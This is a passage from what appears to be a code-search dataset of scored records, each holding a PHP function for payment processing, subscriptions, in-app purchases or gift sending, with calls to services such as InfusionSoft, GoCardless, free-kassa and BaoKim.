!$this->isCCUsedForTrial($creditCard->CreditCardNumber)){\n\t\t\t\t\t// Update Member\n\t\t\t\t\t$member->SignUpTrial = 1;\n\t\t\t\t\t$member->write();\n\t\t\t\t\t//Add the Trial tag\n\t\t\t\t\t$app->grpAssign($isConID, 2216);\n\t\t\t\t\t//Update the contact\n\t\t\t\t\t$conDat = array(\n\t\t\t\t\t\t\t'_AttentionWizard' => 'Free',\n\t\t\t\t\t\t\t'ContactType' => 'AW Customer',\n\t\t\t\t\t\t\t'_AWcanceldate' => null\n\t\t\t\t\t);\n\t\t\t\t\tif(!isset($conDat1['_AWstartdate']))\n\t\t\t\t\t\t$conDat['_AWstartdate'] = $curdate;\n\t\t\t\t\t$app->updateCon($isConID, $conDat);\n\t\t\t\t\t// Mark credit card as TrialCreditCard\n\t\t\t\t\t$creditCard->UsedForTrial = 1;\n\t\t\t\t\t$creditCard->write();\n\t\t\t\t}else{\n\t\t\t\t\tif(!isset($conDat1['_AWofmonths']))\n\t\t\t\t\t\t$conDat1['_AWofmonths'] = 0;\n\t\t\t\t\t// Add the InfusionSoft tag\n\t\t\t\t\t$isTagId = $this->getISTagIdByProduct($productID);\n\t\t\t\t\t$app->grpRemove($isConID, $isTagId);\n\t\t\t\t\t$app->grpAssign($isConID, $isTagId);\n\t\t\t\t\t//Remove trial tag if exists\n\t\t\t\t\t$app->grpRemove($isConID, 2216);\n\t\t\t\t\t//Update the InfusionSoft contact details\n\t\t\t\t\t$conDat = array(\n\t\t\t\t\t\t'_AWofmonths' => $conDat1['_AWofmonths']+1,\n\t\t\t\t\t\t'ContactType' => 'AW Customer',\t\n\t\t\t\t\t\t'_AttentionWizard' => 'Paid and Current',\n\t\t\t\t\t\t'_AWcanceldate' => null\n\t\t\t\t\t);\n\t\t\t\t\tif(!isset($conDat1['_AWstartdate']))\n\t\t\t\t\t\t$conDat['_AWstartdate'] = $curdate;\n\t\t\t\t\t$app->updateCon($isConID, $conDat);\n\t\t\t\t\t// Note is added\n\t\t\t\t\t$conActionDat = array('ContactId' => $isConID,\n\t\t\t\t\t\t'ActionType' => 'UPDATE',\n\t\t\t\t\t\t'ActionDescription' => \"Renewed AW subscription\",\n\t\t\t\t\t\t'CreationDate' => $curdate,\n\t\t\t\t\t\t'ActionDate' => $curdate,\n\t\t\t\t\t\t'CompletionDate' => $curdate,\n\t\t\t\t\t\t'UserID' => 1\n\t\t\t\t\t);\n\t\t\t\t\t$conActionID = $app->dsAdd(\"ContactAction\", $conActionDat);\n\t\t\t\t\t//Delete all the previous pending orders\n\t\t\t\t\t//DB::query(\"DELETE from `Order` where MemberID = $member->ID AND OrderStatus = 'P'\");\n\t\t\t\t}\n\t\t\t\t// Remove previous cancel tags\n\t\t\t\t$app->grpRemove($isConID, 2226);\n\t\t\t\t$app->grpRemove($isConID, 2758);\n\t\t\t\t$app->grpRemove($isConID, 2682);\n\t\t\t\t$app->grpRemove($isConID, 2680);\n\t\t\t\t$app->grpRemove($isConID, 2694);\n\t\t\t\t$app->grpRemove($isConID, 3019);\n\t\t\t\t$app->grpRemove($isConID, 3097);\n\t\t\t}else{\n\t\t\t\t//Set the subscription to Inactive \n\t\t\t\t$this->setSubscriptionStatus($subscriptionID, 'Inactive');\n\t\t\t\tif($productID == 1 && !$this->isCCUsedForTrial($creditCard->CreditCardNumber)){\n\t\t\t\t\t$aw = 'Unsuccessful trial sign-up';\n\t\t\t\t}else{\n\t\t\t\t\t$aw = 'Unsuccessful paid sign-up';\n\t\t\t\t}\n\t\t\t\t$conDat = array(\n\t\t\t\t\t'_AttentionWizard' => $aw\n\t\t\t\t);\n\t\t\t\t$app->updateCon($isConID, $conDat);\n\t\t\t\t// Add an AW prospect tag\n\t\t\t\t$app->grpAssign($isConID, $this->getISTagIdByPaymentCode($result['Code']));\n\t\t\t\t// Add a note\n\t\t\t\t$conActionDat = array('ContactId' => $isConID,\n\t\t\t\t\t'ActionType' => 'UPDATE',\n\t\t\t\t\t'ActionDescription' => \"Unsuccessful attempt to sign-up for AW\",\n\t\t\t\t\t'CreationDate' => $curdate,\n\t\t\t\t\t'ActionDate' => $curdate,\n\t\t\t\t\t'CompletionDate' => $curdate,\n\t\t\t\t\t'UserID' => 1\n\t\t\t\t);\n\t\t\t\t$conActionID = $app->dsAdd(\"ContactAction\", $conActionDat);\n\t\t\t\t$this->setMessage('Error', 'Sorry,the payment failed,please update your credit card.');\n\t\t\t\treturn $this->redirect('/account-settings/#tabs-2');\n\t\t\t}\n\t\t}else{\n\t\t\t// Add an AW prospect tag\n\t\t\t$app->grpAssign($isConID, 3097);\n\t\t\t//Update InfusionSoft contact\n\t\t\tif($productID == 1 && !$this->isCCUsedForTrial($creditCard->CreditCardNumber)){\n\t\t\t\t$aw = 'Unsuccessful trial sign-up';\n\t\t\t}else{\n\t\t\t\t$aw = 'Unsuccessful paid sign-up';\n\t\t\t}\n\t\t\t$conDat = array(\n\t\t\t\t'_AttentionWizard' => $aw\n\t\t\t);\n\t\t\t$app->updateCon($isConID, $conDat);\n\t\t\t// Add a note\n\t\t\t$conActionDat = array('ContactId' => $isConID,\n\t\t\t\t'ActionType' => 'UPDATE',\n\t\t\t\t'ActionDescription' => \"Unsuccessful attempt to sign-up for AW\",\n\t\t\t\t'CreationDate' => $curdate,\n\t\t\t\t'ActionDate' => $curdate,\n\t\t\t\t'CompletionDate' => $curdate,\n\t\t\t\t'UserID' => 1\n\t\t\t);\n\t\t\t$conActionID = $app->dsAdd(\"ContactAction\", $conActionDat);\n\t\t\t$this->setMessage('Error', 'Sorry,the subscription not created due to some reason.please try again.');\n\t\t\treturn $this->redirect('/account-settings/#tabs-4');\n\t\t}\n\t\t$this->setMessage('Success', 'The Subscription is created successfully.');\n\t\treturn $this->redirect('/account-settings');\n\t}", "title": "" }, { "docid": "1756bfa120e09fbc0f4ba140cb01c9a0", "score": "0.5929268", "text": "public function pay(Request $request){\r\n $amount = $request->sum;\r\n $type = $request->payment_system;\r\n if((int)$amount < 1){\r\n $amount = 99;\r\n }\r\n $int_id = \\DB::table('payments')->insertGetId([\r\n 'amount' => (int)$amount,\r\n 'user' => Auth::user()->id,\r\n 'time' => time(),\r\n 'status' => 0,\r\n ]);\r\n $orderID = $int_id;\r\n\r\n $sign = md5(self::merchant_id.':'.$amount.':'.self::merchant_secret_1.':'.$orderID);\r\n if($type == 'qiwi'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=63';\r\n }else if($type == 'master'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=94';\r\n }else if($type == 'visa'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=94';\r\n }else if($type == 'mts'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=84';\r\n }else if($type == 'bee'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=83';\r\n }else if($type == 'mega'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=82';\r\n }else if($type == 'tele2'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=132';\r\n }else if($type == 'free'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru';\r\n }else if($type == 'yandex'){\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru&i=45';\r\n }else{\r\n $url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru';\r\n }\r\n //$url = 'http://www.free-kassa.ru/merchant/cash.php?m='.self::merchant_id.'&oa='.$amount.'&o='.$orderID.'&s='.$sign.'&lang=ru';\r\n return redirect($url);\r\n }", "title": "" }, { "docid": "48b7b95b3915779e2afc8377dd151402", "score": "0.58648366", "text": "public function buyitembymixipointAction()\n {\n $uid = $this->_user->getId();\n $itemId = $this->getParam(\"CF_cid\");\n\n if (empty($itemId)) {\n exit(0);\n }\n\n //check 宣戦布告 card count and マイミクシェルター count, max count=2\n if ($itemId == 8 || $itemId == 9) {\n require_once 'Dal/Dynamite/Item.php';\n $dalItem = Dal_Dynamite_Item::getDefaultInstance();\n $itemCount = $dalItem->getOneItemCount($uid, $itemId);\n\n if ($itemCount >= 2) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/buyitemlimit?CF_cid=' . $itemId);\n }\n }\n\n require_once 'Bll/Dynamite/Item.php';\n $bllItem = new Bll_Dynamite_Item();\n\n //check add bomb count card\n if ($itemId == 60 || $itemId == 61 || $itemId == 62) {\n $bombNum = $bllItem->getBombNum($itemId);\n\n require_once 'Dal/Dynamite/User.php';\n $dalUser = Dal_Dynamite_user::getDefaultInstance();\n $userInfo = $dalUser->getUserMoreInfo($uid);\n\n if ($userInfo['bomb_count'] + $bombNum > 26) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/buyitemlimit?CF_cid=' . $itemId);\n }\n }\n\n //get the item info\n require_once 'Bll/Cache/Dynamite.php';\n $itemShopList = Bll_Cache_Dynamite::getItemShopList();\n\n foreach ($itemShopList as $key => $value) {\n if ($itemId == $value['id']) {\n $selectedItem = $itemShopList[$key];\n }\n }\n\n $payment = array('callback_url' => Zend_Registry::get('host') . '/mobile/dynamite/buyitembymixipointfinish',\n //'finish_url' => Zend_Registry::get('host') . '/mobile/dynamite/buyitem?CF_cid=' . $itemId,\n 'finish_url' => Zend_Registry::get('host') . '/mobile/dynamite/itemshop',\n 'item' => array(array('id' => $selectedItem['id'],\n 'name' => $selectedItem['name'],\n 'point' => $selectedItem['point'])));\n\n //pay start\n require_once 'Bll/Restful.php';\n $restful = Bll_Restful::getInstance($uid, $this->_APP_ID);\n $data = $restful->createPoint($payment, $payment['item']);\n\n //buy item fail\n if(empty($data)) {\n $this->_redirect($payment['finish_url']);\n }\n\n $pay = array('point_code' => $data['id'],\n 'uid' => $uid,\n 'item_id' => $itemId,\n 'create_time' => $data['updated']);\n\n $result = $bllItem->insertPayment($pay);\n\n if ($result) {\n $this->_redirect($data['link']);\n }\n else {\n $this->_redirect($payment['finish_url']);\n }\n\n }", "title": "" }, { "docid": "d7063ee8491dcbdb12d25fd7206d2e67", "score": "0.58551", "text": "public function add_merchant() \n\t{\n\t\t// Include GoCardless Class\n\t\trequire_once(APPPATH.'third_party/gocardless/GoCardless.php');\n\t\t$GoCardless = new GoCardless();\n\n\t\t// Check if merchant id and access token are not already set (the merchant is added) and that the code variable is sent by the GoCardless request \n\t\tif ( ! isset($_SESSION['gocardless']) && isset($_GET['code']) && ! empty($_GET['code'])) \n\t\t{\n\t\t\t// Set the url for the request\n\t\t\t$url = $GoCardless->oauth_access_token_url;\n\n\t\t\t// Set up the needed params\n\t\t\t$params['client_id'] = $GoCardless->app_id;\n\t\t\t$params['code'] = $_GET['code'];\n\t\t\t$params['grant_type'] = 'authorization_code';\n\t\t\t$params['redirect_uri'] = $this->config->config['base_url'] . 'processor/add_merchant/';\n\n\t\t\t// Set up the needed headers\n\t\t\t$headers = array();\n\t\t\t$headers[] = 'Accept: application/json';\n\t\t\t// Set up the authorization\n\t\t\t$headers[] = 'Authorization: Basic ' . base64_encode($GoCardless->app_id.':'.$GoCardless->app_secret);\n\n\t\t\t// Make request to GoCardless and get the response\n\t\t\t$response = $GoCardless->http_post($url, $params, $headers);\n\n\t\t\t// If response is not OK print error\n\t\t\tif ($response['code'] != 200) \n\t\t\t{\n\t\t\t\tprint 'APIError: ' . $GoCardless->get_error_message($response['code']);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t// JSON decode the response\n\t\t\t$response['content'] = (array) json_decode($response['content']);\n\n\t\t\t// Store the access token, token_type and scope into the session\n\t\t\tif(!isset($_SESSION['gocardless']))\n\t\t\t\t$_SESSION['gocardless'] = $response['content'];\n\t\t\t\n\t\t\t// Get the merchant id \n\t\t\t$response['content']['scope'] = (int) str_replace('manage_merchant:', '', $response['content']['scope']);\n\t\t\t\n\t\t\t// Setup the merchant id and the access token and close the popup window\n\t\t\tprint '<html><head></head><body><script type=\"text/javascript\">window.opener.document.getElementById(\"merchant_id\").value = \"'.$response['content']['scope'].'\"; window.opener.document.getElementById(\"access_token\").value = \"'.$response['content']['access_token'].'\"; window.opener.document.getElementById(\"gocardless-no-block\").style.display = \"none\"; window.opener.document.getElementById(\"gocardless-no\").style.display = \"none\"; window.opener.document.getElementById(\"gocardless-yes\").style.display = \"block\"; self.close();</script></body></html>';\n\t\t\texit;\n\t\t} \n\t\t// If the merchant data is already stored to the session\n\t\telseif (isset($_SESSION['gocardless'])) \n\t\t{\n\t\t\t// Get the merchant data from the session\n\t\t\t$response['content'] = $_SESSION['gocardless'];\n\n\t\t\t// Get the merchant id \n\t\t\t$response['content']['scope'] = (int) str_replace('manage_merchant:', '', $response['content']['scope']);\n\n\t\t\t// Setup the merchant id and the access token and close the popup window\n\t\t\tprint '<html><head></head><body><script type=\"text/javascript\">window.opener.document.getElementById(\"merchant_id\").value = \"'.$response['content']['scope'].'\"; window.opener.document.getElementById(\"access_token\").value = \"'.$response['content']['access_token'].'\"; window.opener.document.getElementById(\"gocardless-no-block\").style.display = \"none\"; window.opener.document.getElementById(\"gocardless-no\").style.display = \"none\"; window.opener.document.getElementById(\"gocardless-yes\").style.display = \"block\"; self.close();</script></body></html>';\n\t\t\texit;\n\t\t}\n\n\t\t// If the method is not called correctly show unauthorized error\n\t\texit($GoCardless->get_error_message(401));\n\t}", "title": "" }, { "docid": "abe60fb994c2f8e13a84f22881dd387b", "score": "0.58441424", "text": "public function send_action_card($case_description,$phone)\n {\n //var_dump($case_description);die();\n\n $group_id = \"83827724-3851-4250-9987-c10004140c51\";\n $url =\"https://kms.kaiza.la/v1/groups/\". $group_id.\"/actions\";\n $curl = curl_init($url);\n $accesstoken =$this->get_accesstoken();\n $datastring = array(\n \"id\" =>\"com.legal.lawyershub.7\",\n \"sendToAllSubscribers\" => false,\n \"subscribers\" => $phone,\n \"actionBody\" =>array(\n \"properties\"=>array(\n array(\n \"name\" => \"casedescription\",\n \"value\" => $case_description,\n \"type\"=>\"Text\"\n\n )\n )\n )\n\n );\n $data_json = json_encode($datastring);\n\n curl_setopt_array($curl, array(\n //CURLOPT_URL => \"https://kms.kaiza.la/v1/groups/0a6e3c2c-93f3-43ed-bd69-b9267b5cf8c6/actions\",\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_ENCODING => \"\",\n CURLOPT_MAXREDIRS => 10,\n CURLOPT_TIMEOUT => 30,\n CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,\n CURLOPT_CUSTOMREQUEST => \"POST\",\n CURLOPT_POSTFIELDS => $data_json,\n CURLOPT_HTTPHEADER => array(\n \"Content-Type: application/json\",\n \"accessToken: \" .$accesstoken,\n \"cache-control: no-cache\"\n ),\n ));\n\n $response = curl_exec($curl);\n $err = curl_error($curl);\n\n curl_close($curl);\n\n if ($err) {\n echo \"cURL Error #:\" . $err;\n } else {\n $response_object = json_decode($response);\n echo $response;\n $action_id = $response_object->actionId;\n echo $action_id;\n }\n \n }", "title": "" }, { "docid": "83dff0815adc5cf1bdff2e4cbe7e8cde", "score": "0.5827258", "text": "public function pay_by_card($data)\n\t{\n\t\t$base_url = \"http://\" . $_SERVER['SERVER_NAME'];\n\t\t$url_success = $base_url.'/success';\n\t\t$url_cancel = $base_url.'/cancel';\n\t\t$order_id = $data['order_id'];\n\t\t$data['total_amount'] = isset($data['total_amount']) ? $data['total_amount'] : 0;\n\t\t$total_amount = str_replace('.','',$data['total_amount']);\n\n\t\t$params['business'] = strval(BAOKIM_EMAIL_BUSINESS);\n\t\t$params['bank_payment_method_id'] = intval($data['bank_payment_method_id']);\n\t\t$params['transaction_mode_id'] = '1'; // 2- trực tiếp\n\t\t$params['escrow_timeout'] = 0;\n\n\t\t$params['order_id'] = $order_id;\n\t\t$params['total_amount'] = $total_amount;\n\t\t$params['shipping_fee'] = '0';\n\t\t$params['tax_fee'] = '0';\n\t\t$params['currency_code'] = 'VND'; // USD\n\n\t\t$params['url_success'] = $url_success;\n\t\t$params['url_cancel'] = $url_cancel;\n\t\t$params['url_detail'] = '';\n\n\t\t$params['order_description'] = 'Thanh toán đơn hàng từ Website '. $base_url . ' với mã đơn hàng ' . $order_id;\n\t\t$params['payer_name'] = $data['payer_name'];\n\t\t$params['payer_email'] = $data['payer_email'];\n\t\t$params['payer_phone_no'] = $data['payer_phone_no'];\n\t\t$params['payer_address'] = $data['payer_address'];\n @file_put_contents(storage_path('logs/bao_kim_send.log'),date('d-m-Y H:i:s').':'.json_encode($params,JSON_UNESCAPED_UNICODE,JSON_PRETTY_PRINT) . \"\\n\",FILE_APPEND);\n\t\t$call_restfull = new CallRestful();\n\t\t$result = json_decode($call_restfull->call_API(\"POST\", $params, BAOKIM_API_PAY_BY_CARD), true);\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "af9927ebf0e7cf50ad4c7869f719aedf", "score": "0.5769135", "text": "protected function _pay(){\r\n\r\n $customer = $this->_service->getOrder()->getCustomer();\r\n $customerId = '';\r\n if(isset($customer)){\r\n $customerId = $customer->getId();\r\n }else{\r\n $customerId = $this->_service->getOrder()->getCustomerId();\r\n }\r\n $this->_customer = mage::getModel('customer/customer')->load($customerId);\r\n\r\n $this->_payerRef = $this->_customer->getData('realex_payer_ref');\r\n // if not existing payer create payer\r\n if(!isset($this->_payerRef)){\r\n $this->_method = 'payerNew';\r\n $this->_action = 'payerNew';\r\n $this->_setMessage($this->_method,'token');\r\n $this->_setResponse($this->_method,null,'token');\r\n\r\n $this->_preparePayerNew();\r\n\r\n $this->_send(\r\n $this->_getServiceUrl(),\r\n $this->_message->prepareMessage()\r\n );\r\n\r\n $this->_response->processResult();\r\n try{\r\n $this->_customer->setRealexPayerRef($this->_payerRef);\r\n $this->_customer->save();\r\n }catch(Exception $e){\r\n $this->getRealexSession()->setTokenSaved(false);\r\n Mage::getSingleton('customer/session')->setTokenSaved(false);\r\n throw $e;\r\n }catch(Yoma_Realex_Model_Exception_PayerNew $e){\r\n $this->getRealexSession()->setTokenSaved(false);\r\n Mage::getSingleton('customer/session')->setTokenSaved(false);\r\n throw $e;\r\n return $this;\r\n }\r\n\r\n }\r\n // if token not all ready exist create\r\n if(!$this->_getHelper()->tokenExist(\r\n $this->_customer,$this->_service->getPayment(),\r\n $this->_service->getMd('card_number'))){\r\n $this->_method = 'registerToken';\r\n $this->_action = 'registerToken';\r\n $this->_setMessage($this->_method,'token');\r\n $this->_setResponse($this->_method,null,'token');\r\n\r\n $this->_prepareRegisterToken();\r\n\r\n $this->_send(\r\n $this->_getServiceUrl(),\r\n $this->_message->prepareMessage()\r\n );\r\n\r\n $this->_response->processResult();\r\n\r\n $this->_saveToken();\r\n $this->getRealexSession()->setTokenSaved(true);\r\n Mage::getSingleton('customer/session')->setTokenSaved(true);\r\n }\r\n return $this;\r\n }", "title": "" }, { "docid": "b76f26cc647690b63b06dc708dd6d4c4", "score": "0.57487553", "text": "public function buyAppByOtpAction()\n {\n //Retrieve translate object\n $translate = Zend_Registry::get('Zend_Translate');\n \n $this->_helper->layout()->disableLayout(); \n $this->_helper->viewRenderer->setNoRender(true);\n \n if(!Zend_Auth::getInstance()->hasIdentity())\n $this->_redirect ( '/user/login' );\n \n $auth = Zend_Auth::getInstance(); \n\n if ($this->_request->isPost()) \n {\n $appId = trim($this->getRequest()->getPost('appId',null));\n $buildId = trim($this->getRequest()->getPost('buildId',null));\n $opt = trim($this->getRequest()->getPost('otp',null));\n $paymentId = trim($this->getRequest()->getPost('paymentId',null));\n $msisdn = trim($this->getRequest()->getPost('msisdn',null));\n $chapId = $this->_chapId;\n \n $userId = ($auth->getIdentity()->id) ? $auth->getIdentity()->id : $this->_userId ;\n \n //Get payment gateway Id of the CHAP \n $pgUsersModel = new Api_Model_PaymentGatewayUsers();\n $pgDetails = $pgUsersModel->getGatewayDetailsByChap($chapId);\n $pgType = $pgDetails->gateway_id; \n $paymentGatewayId = $pgDetails->payment_gateway_id;\n \n $pgClass = Nexva_MobileBilling_Factory::createFactory($pgType);\n $sessionId = Zend_Session::getId();\n //Select interop pament\n $interopPayment = $pgClass->selectInteropPayment($sessionId, $paymentId);\n \n if($opt == $interopPayment->token && ($interopPayment->status == 'Pending') && ($interopPayment->mobile_no == $msisdn)){\n\n $productModel = new Partnermobile_Model_Products();\n $productDetails = $productModel->getDetailsById($appId);\n\n $mobileNo = $msisdn; \n $price = $productDetails->price;\n $appName = $productDetails->name;\n $deviceId = $this->_deviceId;\n\n $modelDownloadStats = new Api_Model_StatisticsDownloads();\n\n //same user, same product, same device, same chap stats are not allowed to insert\n $alreadyDownloaded = $modelDownloadStats->checkThisDownloadExist($appId,$chapId,$userId,$buildId);\n\n //if already downloaded it's redirecting to free download function\n if($_SERVER['REMOTE_ADDR'] == '61.245.173.81'){\n $alreadyDownloaded['exist_count'] = 0;\n }\n if($alreadyDownloaded['exist_count'] > 0){\n //if(1 != 1){\n //Call the free download function\n $this->downloadAction();\n\n }\n else{\n\n //Do the transaction and get the build url \n $buildUrl = $pgClass->doPayment($chapId, $buildId, $appId, $mobileNo, $appName, $price);\n \n //Check if payment was made successfully, Provide the download link\n if(!empty($buildUrl) && !is_null($buildUrl)) \n {\n \n //************* Add Royalties *************************\n //$userAccount = new Model_UserAccount();\n //$userAccount->saveRoyalitiesForApi($appId, $price, $paymentMethod='CHAP', $chapId, $userId);\n\n //************* Add Statistics - Download *************************\n $source = \"MOBILE\";\n $ipAddress = $this->getRequest()->getServer('REMOTE_ADDR');\n\n $model_ProductBuild = new Model_ProductBuild();\n $buildInfo = $model_ProductBuild->getBuildDetails($buildId);\n\n $paymentTimeStamp = date('Y-m-d H:i:s');\n $paymentTransId = strtotime(\"now\");\n \n //Update success transaction to the relevant transaction id in the DB\n $pgClass->updateInteropPayment($paymentTimeStamp, $paymentTransId, $paymentResult = 'Success', $buildUrl, $paymentId);\n\n $modelDownloadStats->addDownloadStat($appId, $this->_chapId, $source, $ipAddress, $userId, $buildId, $buildInfo->platform_id, $buildInfo->language_id, $this->_deviceId, $sessionId);\n\n \n //$transactionId = null;\n /*$this->_request->setPost(array(\n 'buildUrl' => $buildUrl,\n 'id' => $appId,\n 'transactionId' => $transactionId\n ));*/\n\n $this->_forward('detail', 'app', 'partnermobile',array('id' => $appId, 'buildUrl' => $buildUrl, 'transactionId' => $transactionId));\n //$this->_redirect($buildUrl);\n \n // $this->_helper->viewRenderer('detail');\n }\n else \n {\n $paymentTimeStamp = date('Y-m-d H:i:s');\n $paymentTransId = strtotime(\"now\");\n $buildUrl = '';\n //Update success transaction to the relevant transaction id in the DB\n $pgClass->updateInteropPayment($paymentTimeStamp, $paymentTransId, $paymentResult = 'Fail', $buildUrl, $paymentId);\n\n \n $msgSuccess = \"Payment was unsuccessful\";\n $message = ($translate != null) ? $translate->translate($msgSuccess) : $msgSuccess ;\n $this->_helper->flashMessenger->setNamespace('errorMsgApp')->addMessage($message); \n $this->_redirect('/app/detail/id/'.$appId);\n \n \n }\n }\n }\n else{\n $paymentTimeStamp = date('Y-m-d H:i:s');\n $paymentTransId = strtotime(\"now\");\n $buildUrl = '';\n //Update success transaction to the relevant transaction id in the DB\n $pgClass->updateInteropPayment($paymentTimeStamp, $paymentTransId, $paymentResult = 'OTP Fail', $buildUrl, $paymentId);\n \n $msgSuccess = \"Incorrect OTP\";\n $message = ($translate != null) ? $translate->translate($msgSuccess) : $msgSuccess ;\n $this->_helper->flashMessenger->setNamespace('errorMsgApp')->addMessage($message); \n $this->_redirect('/app/detail/id/'.$appId);\n }\n }\n }", "title": "" }, { "docid": "5286fc668a3fb4d98fa16409fcc1e069", "score": "0.57464606", "text": "public function purchase(Request $request)\n {\n $user_id = $request->user_id;\n $game_id = $request->game_id;\n $code_exist = DB::table('codes')->where('code', $request->code)->get();\n\n foreach ($code_exist as $code)\n {\n $code_id = $code->id;\n }\n\n $game = Videogames::findOrFail($game_id);\n $user = User::findOrFail($user_id);\n $code = Code::findOrFail($code_id);\n\n if(sizeof($code_exist) == 0)\n {\n return view('vg.game.show',compact('game'));\n }\n else\n {\n $user->purchases()->attach($game_id);\n //$game->purchases()->attach($user_id);\n\n $code->status = 1;\n\n $code->update();\n\n //dd($user_id, $game_id, $code_exist);\n return view('vg.game.show',compact('game'));\n }\n\n\n\n //return redirect()->route('codes.index');\n }", "title": "" }, { "docid": "fad6d0420d8d4a388ce2e9cd869fc9d8", "score": "0.57449096", "text": "public function giveGift()\r\n {\r\n // Give Money\r\n if (mt_rand(0, 100) >= $this->opts['item_chance']) {\r\n $m = $this->opts['money_amounts'];\r\n $this->money = mt_rand($m['min'], $m['max']);\r\n $this->message = $this->config[$this->getSpecies('found money')]['found money'];\r\n $this->mysidia->user->changecash($this->money);\r\n return null;\r\n }\r\n\r\n // Give Item\r\n $species = $this->getSpecies('items');\r\n\r\n $items = $this->getAdditional($this->config[$species], 'items');\r\n //$itemKey = array_rand($items);\r\n\r\n $itemKey = $this->pick($items);\r\n $this->item = $items[$itemKey];\r\n $this->message = $this->config[$this->getSpecies('found item')]['found item'];\r\n\r\n // Check if item has unique message text.\r\n if (!is_numeric($itemKey)) {\r\n $this->item = $itemKey;\r\n if (!is_array($items[$itemKey]))\r\n {\r\n $this->message = $items[$itemKey];\r\n }\r\n elseif (isset($items[$itemKey][0])) {\r\n $this->message = $items[$itemKey][0];\r\n }\r\n }\r\n\r\n $newitem = new StockItem($this->item);\r\n $newitem->append(1, $this->mysidia->user->username);\r\n // Tack on image of item found.\r\n $this->message .= \"<br><img src='{$newitem->imageurl}'>\";\r\n return null;\r\n }", "title": "" }, { "docid": "6ee0bee330f8378f2b26ca8c903ad936", "score": "0.57380164", "text": "public function sendGiftAction(Request $request){\n $em = $this->getDoctrine()->getManager();\n $query = $em->createQuery(\n \"SELECT COUNT(p.id)\n FROM AcmeAccountBundle:UserGift p WHERE p.new='1' AND p.received_by='\".$this->getUser()->getId().\"'\n \"\n );\n\n $new_count = $query->getSingleScalarResult();\n \n \n \n /*\n * get EM\n */\n $em = $this->getDoctrine()->getManager();\n \n /*\n * get all users\n */\n \n $users = $em->getRepository(\"Acme\\AccountBundle\\Entity\\User\")->findAll();\n \n \n /*\n * get all gifts\n */\n \n $gifts = $em->getRepository(\"Acme\\AccountBundle\\Entity\\Gift\")->findAll();\n \n \n if($request->isMethod(\"POST\")){\n \n \n //var_dump($this->getUser()->getId());\n \n $user_id = $request->get(\"name\");\n $gift_id = $request->get('gift');\n \n $comment = $request->get('comment');\n \n \n \n \n $gift = $em->getRepository(\"Acme\\AccountBundle\\Entity\\Gift\")->find($gift_id);\n $sent_by = $em->getRepository(\"Acme\\AccountBundle\\Entity\\User\")->find($this->getUser()->getId());\n $received_by = $em->getRepository(\"Acme\\AccountBundle\\Entity\\User\")->find($user_id);\n \n $send_gift = new \\Acme\\AccountBundle\\Entity\\UserGift;\n $send_gift->setSentDate(new \\DateTime(date(\"Y-m-d H:i:s\")));\n $send_gift->setComment($comment);\n $send_gift->setGift($gift);\n $send_gift->setSentBy($sent_by);\n $send_gift->setReceivedBy($received_by);\n $send_gift->addUser($received_by);\n $send_gift->setNew(1);\n $em->persist($send_gift);\n $em->flush();\n \n \n \n \n $message = \\Swift_Message::newInstance()\n ->setSubject('new Gift on Giftapp')\n ->setFrom('[email protected]')\n ->setTo($received_by->getusername())\n ->setBody(\n \n \"Hello, \".$received_by->getFirstName().\". <br /><br />\n You got \".$gift->getName().\"from \".$sent_by->getFirstName(), 'text/html' \n );\n $this->get('mailer')->send($message);\n return $this->render(\n 'AcmeAccountBundle::gift_sent.html.twig',\n array('img' => true, 'message'=>'New gift is on the way.',\"new_count\"=>$new_count)\n );\n \n }\n \n \n \n return $this->render(\n 'AcmeAccountBundle::sendgift.html.twig',\n array('users' => $users, 'gifts'=>$gifts,\"new_count\"=>$new_count)\n );\n }", "title": "" }, { "docid": "69dfb909e2890a2b8f9b814988359c91", "score": "0.5735043", "text": "function addDefaultCard($user_id, $eway)\n {\n $req = new \\Illuminate\\Http\\Request();\n $req->replace([\n 'card_name' => \"Test Card \" . rand(105, 999),\n 'card_no' => \"5105105105105100\",\n 'company_id' => request()->company_id,\n\n 'cvv' => rand(101, 999),\n 'expiry_month' => rand(10, 12),\n 'expiry_year' => rand(19, 25),\n 'is_default' => 1,\n 'user_id' => $user_id\n ]);\n\n if ($eway) {\n $userCards = new User_Card();\n $userCards->user_id = $user_id;\n $userCards->card_no = 